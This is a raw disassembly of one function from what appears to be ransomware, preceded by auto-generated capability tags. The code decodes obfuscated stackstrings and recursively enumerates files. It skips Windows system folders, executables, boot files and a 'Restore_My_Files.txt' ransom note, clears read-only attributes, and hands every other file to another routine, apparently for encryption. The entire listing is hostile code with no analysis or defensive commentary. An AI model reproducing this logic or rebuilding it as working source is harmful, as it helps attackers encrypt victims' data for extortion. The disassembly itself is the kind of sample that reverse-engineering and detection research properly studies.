Function at 0x403da0
Capabilities:
Contain obfuscated stackstrings
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb64
push ebx
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
xor eax, eax
push esi
push edi
push dword [ebp + 8]
mov word [ebp - 0x14], ax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x890]
mov dword [ebp - 0x1c], 0x730025
push eax
mov dword [ebp - 0x18], 0x2a005c
call ebx
add esp, 0xc
lea eax, [ebp - 0x684]
push 0
push 0
push 0
push eax
push 0
lea eax, [ebp - 0x890]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileExW]
mov edi, eax
mov dword [ebp - 4], edi
cmp edi, 0xffffffff
jne 0x403e21
lea eax, [ebp - 0x890]
push eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push str.______________________FindFirstFIle_failed__d_on_path____S__n
call fcn.00404e50
add esp, 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
mov dword [ebp - 0x368], 0x770024
mov dword [ebp - 0x364], 0x6e0069
mov dword [ebp - 0x360], 0x6f0064
mov dword [ebp - 0x35c], 0x730077
mov dword [ebp - 0x358], 0x7e002e
mov dword [ebp - 0x354], 0x740062
mov word [ebp - 0x350], ax
mov dword [ebp - 0x1fc], 0x6e0069
mov dword [ebp - 0x1f8], 0x650074
mov dword [ebp - 0x1f4], 0x6c
mov dword [ebp - 0x2a0], 0x73006d
mov dword [ebp - 0x29c], 0x63006f
mov dword [ebp - 0x298], 0x630061
mov dword [ebp - 0x294], 0x650068
mov word [ebp - 0x290], ax
mov dword [ebp - 0x384], 0x720024
mov dword [ebp - 0x380], 0x630065
mov dword [ebp - 0x37c], 0x630079
mov dword [ebp - 0x378], 0x65006c
mov dword [ebp - 0x374], 0x62002e
mov dword [ebp - 0x370], 0x6e0069
mov word [ebp - 0x36c], ax
mov dword [ebp - 0x3a0], 0x770024
mov dword [ebp - 0x39c], 0x6e0069
mov dword [ebp - 0x398], 0x6f0064
mov dword [ebp - 0x394], 0x730077
mov dword [ebp - 0x390], 0x7e002e
mov dword [ebp - 0x38c], 0x730077
mov word [ebp - 0x388], ax
mov dword [ebp - 0x31c], 0x6f0074
mov dword [ebp - 0x318], 0x200072
mov dword [ebp - 0x314], 0x720062
mov dword [ebp - 0x310], 0x77006f
mov dword [ebp - 0x30c], 0x650073
mov dword [ebp - 0x308], 0x72
mov dword [ebp - 0x28], 0x6f0062
mov dword [ebp - 0x24], 0x74006f
mov word [ebp - 0x20], ax
mov dword [ebp - 0x434], 0x790073
mov dword [ebp - 0x430], 0x740073
mov dword [ebp - 0x42c], 0x6d0065
mov dword [ebp - 0x428], 0x760020
mov dword [ebp - 0x424], 0x6c006f
mov dword [ebp - 0x420], 0x6d0075
mov dword [ebp - 0x41c], 0x200065
mov dword [ebp - 0x418], 0x6e0069
mov dword [ebp - 0x414], 0x6f0066
mov dword [ebp - 0x410], 0x6d0072
mov dword [ebp - 0x40c], 0x740061
mov dword [ebp - 0x408], 0x6f0069
mov dword [ebp - 0x404], 0x6e
mov dword [ebp - 0x2b4], 0x650070
mov dword [ebp - 0x2b0], 0x660072
mov dword [ebp - 0x2ac], 0x6f006c
mov dword [ebp - 0x2a8], 0x730067
mov word [ebp - 0x2a4], ax
mov dword [ebp - 0x24c], 0x6f0067
mov dword [ebp - 0x248], 0x67006f
mov dword [ebp - 0x244], 0x65006c
mov word [ebp - 0x240], ax
mov dword [ebp - 0x400], 0x700061
mov dword [ebp - 0x3fc], 0x6c0070
mov dword [ebp - 0x3f8], 0x630069
mov dword [ebp - 0x3f4], 0x740061
mov dword [ebp - 0x3f0], 0x6f0069
mov dword [ebp - 0x3ec], 0x20006e
mov dword [ebp - 0x3e8], 0x610064
mov dword [ebp - 0x3e4], 0x610074
mov word [ebp - 0x3e0], ax
mov dword [ebp - 0x26c], 0x690077
mov dword [ebp - 0x268], 0x64006e
mov dword [ebp - 0x264], 0x77006f
mov dword [ebp - 0x260], 0x73
mov dword [ebp - 0x334], 0x690077
mov dword [ebp - 0x330], 0x64006e
mov dword [ebp - 0x32c], 0x77006f
mov dword [ebp - 0x328], 0x2e0073
mov dword [ebp - 0x324], 0x6c006f
mov dword [ebp - 0x320], 0x64
mov dword [ebp - 0x27c], 0x700061
mov dword [ebp - 0x278], 0x640070
mov dword [ebp - 0x274], 0x740061
mov dword [ebp - 0x270], 0x61
mov dword [ebp - 0x28c], 0x6f006d
mov dword [ebp - 0x288], 0x69007a
mov dword [ebp - 0x284], 0x6c006c
mov dword [ebp - 0x280], 0x61
mov dword [ebp - 0x22c], 0x74006e
mov dword [ebp - 0x228], 0x64006c
mov dword [ebp - 0x224], 0x72
mov dword [ebp - 0x3dc], 0x74006e
mov dword [ebp - 0x3d8], 0x730075
mov dword [ebp - 0x3d4], 0x720065
mov dword [ebp - 0x3d0], 0x64002e
mov dword [ebp - 0x3cc], 0x740061
mov dword [ebp - 0x3c8], 0x6c002e
mov dword [ebp - 0x3c4], 0x67006f
mov word [ebp - 0x3c0], ax
mov dword [ebp - 0x3bc], 0x6f0062
mov dword [ebp - 0x3b8], 0x74006f
mov dword [ebp - 0x3b4], 0x650073
mov dword [ebp - 0x3b0], 0x740063
mov dword [ebp - 0x3ac], 0x62002e
mov dword [ebp - 0x3a8], 0x6b0061
mov word [ebp - 0x3a4], ax
mov dword [ebp - 0x34c], 0x750061
mov dword [ebp - 0x348], 0x6f0074
mov dword [ebp - 0x344], 0x750072
mov dword [ebp - 0x340], 0x2e006e
mov dword [ebp - 0x33c], 0x6e0069
mov dword [ebp - 0x338], 0x66
mov dword [ebp - 8], 0x2e
mov dword [ebp - 0x10], 0x2e002e
mov word [ebp - 0xc], ax
mov dword [ebp - 0x208], 0x730025
mov dword [ebp - 0x204], 0x25005c
mov dword [ebp - 0x200], 0x73
mov dword [ebp - 0x34], 0x33002e
mov dword [ebp - 0x30], 0x360038
mov word [ebp - 0x2c], ax
mov dword [ebp - 0x40], 0x63002e
mov dword [ebp - 0x3c], 0x64006d
mov word [ebp - 0x38], ax
mov dword [ebp - 0x58], 0x61002e
mov dword [ebp - 0x54], 0x69006e
mov word [ebp - 0x50], ax
mov dword [ebp - 0x64], 0x61002e
mov dword [ebp - 0x60], 0x760064
mov word [ebp - 0x5c], ax
mov dword [ebp - 0x25c], 0x74002e
mov dword [ebp - 0x258], 0x650068
mov dword [ebp - 0x254], 0x65006d
mov word [ebp - 0x250], ax
mov dword [ebp - 0x70], 0x6d002e
mov dword [ebp - 0x6c], 0x690073
mov word [ebp - 0x68], ax
mov dword [ebp - 0x7c], 0x6d002e
mov dword [ebp - 0x78], 0x700073
mov word [ebp - 0x74], ax
mov dword [ebp - 0x88], 0x63002e
mov dword [ebp - 0x84], 0x6d006f
mov word [ebp - 0x80], ax
mov dword [ebp - 0x2c8], 0x64002e
mov dword [ebp - 0x2c4], 0x610069
mov dword [ebp - 0x2c0], 0x700067
mov dword [ebp - 0x2bc], 0x67006b
mov word [ebp - 0x2b8], ax
mov dword [ebp - 0x94], 0x6e002e
mov dword [ebp - 0x90], 0x73006c
mov word [ebp - 0x8c], ax
mov dword [ebp - 0x2dc], 0x64002e
mov dword [ebp - 0x2d8], 0x610069
mov dword [ebp - 0x2d4], 0x630067
mov dword [ebp - 0x2d0], 0x620061
mov word [ebp - 0x2cc], ax
mov dword [ebp - 0x214], 0x6c002e
mov dword [ebp - 0x210], 0x63006f
mov dword [ebp - 0x20c], 0x6b
mov dword [ebp - 0xa0], 0x6f002e
mov dword [ebp - 0x9c], 0x780063
mov word [ebp - 0x98], ax
mov dword [ebp - 0xac], 0x6d002e
mov dword [ebp - 0xa8], 0x610070
mov word [ebp - 0xa4], ax
mov dword [ebp - 0xb8], 0x63002e
mov dword [ebp - 0xb4], 0x6c0070
mov word [ebp - 0xb0], ax
mov dword [ebp - 0xc4], 0x6d002e
mov dword [ebp - 0xc0], 0x64006f
mov word [ebp - 0xbc], ax
mov dword [ebp - 0xd0], 0x68002e
mov dword [ebp - 0xcc], 0x610074
mov word [ebp - 0xc8], ax
mov dword [ebp - 0x220], 0x69002e
mov dword [ebp - 0x21c], 0x6e0063
mov dword [ebp - 0x218], 0x73
mov dword [ebp - 0xdc], 0x70002e
mov dword [ebp - 0xd8], 0x660072
mov word [ebp - 0xd4], ax
mov dword [ebp - 0xe8], 0x72002e
mov dword [ebp - 0xe4], 0x700074
mov word [ebp - 0xe0], ax
mov dword [ebp - 0x2f0], 0x64002e
mov dword [ebp - 0x2ec], 0x610069
mov dword [ebp - 0x2e8], 0x630067
mov dword [ebp - 0x2e4], 0x670066
mov word [ebp - 0x2e0], ax
mov dword [ebp - 0x304], 0x6d002e
mov dword [ebp - 0x300], 0x730073
mov dword [ebp - 0x2fc], 0x790074
mov dword [ebp - 0x2f8], 0x65006c
mov dword [ebp - 0x2f4], 0x73
mov dword [ebp - 0xf4], 0x62002e
mov dword [ebp - 0xf0], 0x6e0069
mov word [ebp - 0xec], ax
mov dword [ebp - 0x100], 0x68002e
mov dword [ebp - 0xfc], 0x70006c
mov word [ebp - 0xf8], ax
mov dword [ebp - 0x10c], 0x73002e
mov dword [ebp - 0x108], 0x730068
mov word [ebp - 0x104], ax
mov dword [ebp - 0x118], 0x64002e
mov dword [ebp - 0x114], 0x760072
mov word [ebp - 0x110], ax
mov dword [ebp - 0x124], 0x77002e
mov dword [ebp - 0x120], 0x780070
mov word [ebp - 0x11c], ax
mov dword [ebp - 0x130], 0x62002e
mov dword [ebp - 0x12c], 0x740061
mov word [ebp - 0x128], ax
mov dword [ebp - 0x13c], 0x72002e
mov dword [ebp - 0x138], 0x6d006f
mov word [ebp - 0x134], ax
mov dword [ebp - 0x148], 0x6d002e
mov dword [ebp - 0x144], 0x630073
mov word [ebp - 0x140], ax
mov dword [ebp - 0x154], 0x73002e
mov dword [ebp - 0x150], 0x6c0070
mov word [ebp - 0x14c], ax
mov dword [ebp - 0x160], 0x70002e
mov dword [ebp - 0x15c], 0x310073
mov word [ebp - 0x158], ax
mov dword [ebp - 0x16c], 0x6d002e
mov dword [ebp - 0x168], 0x750073
mov word [ebp - 0x164], ax
mov dword [ebp - 0x178], 0x69002e
mov dword [ebp - 0x174], 0x730063
mov word [ebp - 0x170], ax
mov dword [ebp - 0x184], 0x6b002e
mov dword [ebp - 0x180], 0x790065
mov word [ebp - 0x17c], ax
mov dword [ebp - 0x4c], 0x65002e
mov dword [ebp - 0x48], 0x650078
mov word [ebp - 0x44], ax
mov dword [ebp - 0x1a8], 0x64002e
mov dword [ebp - 0x1a4], 0x6c006c
mov word [ebp - 0x1a0], ax
mov dword [ebp - 0x1f0], 0x6c002e
mov dword [ebp - 0x1ec], 0x6b006e
mov word [ebp - 0x1e8], ax
mov dword [ebp - 0x1e4], 0x69002e
mov dword [ebp - 0x1e0], 0x6f0063
mov word [ebp - 0x1dc], ax
mov word [ebp - 0x1d0], ax
mov word [ebp - 0x1c4], ax
mov word [ebp - 0x1b8], ax
mov word [ebp - 0x1ac], ax
mov word [ebp - 0x194], ax
mov word [ebp - 0x188], ax
mov word [ebp - 0x230], ax
lea eax, [ebp - 0x23c]
push str.Restore_My_Files
push eax
lea eax, [ebp - 0x958]
mov dword [ebp - 0x1d8], 0x68002e
push eax
mov dword [ebp - 0x1d4], 0x70006c
mov dword [ebp - 0x1cc], 0x73002e
mov dword [ebp - 0x1c8], 0x730079
mov dword [ebp - 0x1c0], 0x69002e
mov dword [ebp - 0x1bc], 0x780064
mov dword [ebp - 0x1b4], 0x69002e
mov dword [ebp - 0x1b0], 0x69006e
mov dword [ebp - 0x19c], 0x72002e
mov dword [ebp - 0x198], 0x670065
mov dword [ebp - 0x190], 0x6d002e
mov dword [ebp - 0x18c], 0x330070
mov dword [ebp - 0x23c], 0x530025
mov dword [ebp - 0x238], 0x74002e
mov dword [ebp - 0x234], 0x740078
call ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.DLL_FindNextFileW]
nop dword [eax + eax]
lea eax, [ebp - 0x658]
push eax
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpW]
test eax, eax
je 0x404dd9
lea eax, [ebp - 0x658]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpW]
test eax, eax
je 0x404dd9
test byte [ebp - 0x684], 0x10
je 0x404986
lea eax, [ebp - 0x368]
push eax
lea eax, [ebp - 0x658]
push eax
call ebx
test eax, eax
je 0x404dd9
lea eax, [ebp - 0x1fc]
push eax
lea eax, [ebp - 0x658]
push eax
call ebx
test eax, eax
je 0x404dd9
lea eax, [ebp - 0x2a0]
push eax
lea eax, [ebp - 0x658]
push eax
call ebx
test eax, eax
je 0x404dd9
lea eax, [ebp - 0x384]
push eax
lea eax, [ebp - 0x658]
push eax
call ebx
test eax, eax
je 0x404dd9
lea eax, [ebp - 0x3a0]
push eax
lea eax, [ebp - 0x658]
push eax
call ebx
test eax, eax
je 0x404dd9
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x658]
push eax
call ebx
test eax, eax
je 0x404dd9
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x658]
push eax
call ebx
test eax, eax
je 0x404dd9
lea eax, [ebp - 0x434]
push eax
lea eax, [ebp - 0x658]
push eax
call ebx
test eax, eax
je 0x404dd9
lea eax, [ebp - 0x2b4]
push eax
lea eax, [ebp - 0x658]
push eax
call ebx
test eax, eax
je 0x404dd9
lea eax, [ebp - 0x24c]
push eax
lea eax, [ebp - 0x658]
push eax
call ebx
test eax, eax
je 0x404dd9
lea eax, [ebp - 0x400]
push eax
lea eax, [ebp - 0x658]
push eax
call ebx
test eax, eax
je 0x404dd9
lea eax, [ebp - 0x26c]
push eax
lea eax, [ebp - 0x658]
push eax
call ebx
test eax, eax
je 0x404dd9
lea eax, [ebp - 0x334]
push eax
lea eax, [ebp - 0x658]
push eax
call ebx
test eax, eax
je 0x404dd9
lea eax, [ebp - 0x27c]
push eax
lea eax, [ebp - 0x658]
push eax
call ebx
test eax, eax
je 0x404dd9
lea eax, [ebp - 0x28c]
push eax
lea eax, [ebp - 0x658]
push eax
call ebx
test eax, eax
je 0x404dd9
lea eax, [ebp - 0x658]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x890]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x890]
push eax
call fcn.00403da0
add esp, 0x14
jmp 0x404dd9
lea eax, [ebp - 0x658]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
cmp eax, 4
jle 0x404dd9
lea eax, [ebp - 0x658]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
mov esi, eax
lea eax, [ebp - 0x34]
push esi
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x40]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x4c]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x58]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x64]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x25c]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x70]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x7c]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x88]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x2c8]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x94]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x2dc]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x214]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0xa0]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0xac]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0xb8]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0xc4]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0xd0]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x220]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0xdc]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0xe8]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x2f0]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x304]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0xf4]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x100]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x10c]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x118]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x124]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x130]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x13c]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x148]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x154]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x160]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x16c]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x178]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x184]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x190]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x19c]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x1a8]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x1b4]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x1c0]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x1cc]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x1d8]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x1e4]
push eax
call ebx
test eax, eax
je 0x404dd3
push esi
lea eax, [ebp - 0x1f0]
push eax
call ebx
test eax, eax
je 0x404dd3
lea eax, [ebp - 0x658]
push eax
lea eax, [ebp - 0x958]
push eax
call ebx
test eax, eax
je 0x404dd3
lea eax, [ebp - 0x658]
push eax
lea eax, [ebp - 0x22c]
push eax
call ebx
test eax, eax
je 0x404dd3
lea eax, [ebp - 0x658]
push eax
lea eax, [ebp - 0x3dc]
push eax
call ebx
test eax, eax
je 0x404dd3
lea eax, [ebp - 0x658]
push eax
lea eax, [ebp - 0x3bc]
push eax
call ebx
test eax, eax
je 0x404dd3
lea eax, [ebp - 0x658]
push eax
lea eax, [ebp - 0x34c]
push eax
call ebx
test eax, eax
je 0x404dd3
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0xb64]
sub edx, ecx
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [ecx + edx - 2], ax
test ax, ax
jne 0x404d43
lea eax, [ebp - 0xb64]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
lea edx, [ebp - 0x658]
mov esi, edx
nop dword [eax + eax]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x404d70
lea edi, [ebp - 0xb64]
sub edx, esi
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x404d86
mov eax, dword [ebp - 0x684]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
test al, 4
jne 0x404dd0
test al, 1
je 0x404dc4
push 0x80
lea eax, [ebp - 0xb64]
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
test eax, eax
je 0x404dd0
lea eax, [ebp - 0xb64]
push eax
call fcn.00407d20
mov edi, dword [ebp - 4]
mov esi, dword [sym.imp.KERNEL32.DLL_FindNextFileW]
lea eax, [ebp - 0x684]
push eax
push edi
call esi
cmp eax, 1
je 0x4047b0
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x12
je 0x404e13
lea ecx, [ebp - 0x890]
push ecx
push eax
push str._______________FindNextFile_died__ld__path____S_
call fcn.00404e50
add esp, 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.KERNEL32.DLL_FindClose]
test eax, eax
jne 0x404e32
push str.________________FindClose_failed_n
call fcn.00404e50
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp + 8]
push str.EXIT__S_n
call fcn.00404e50
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret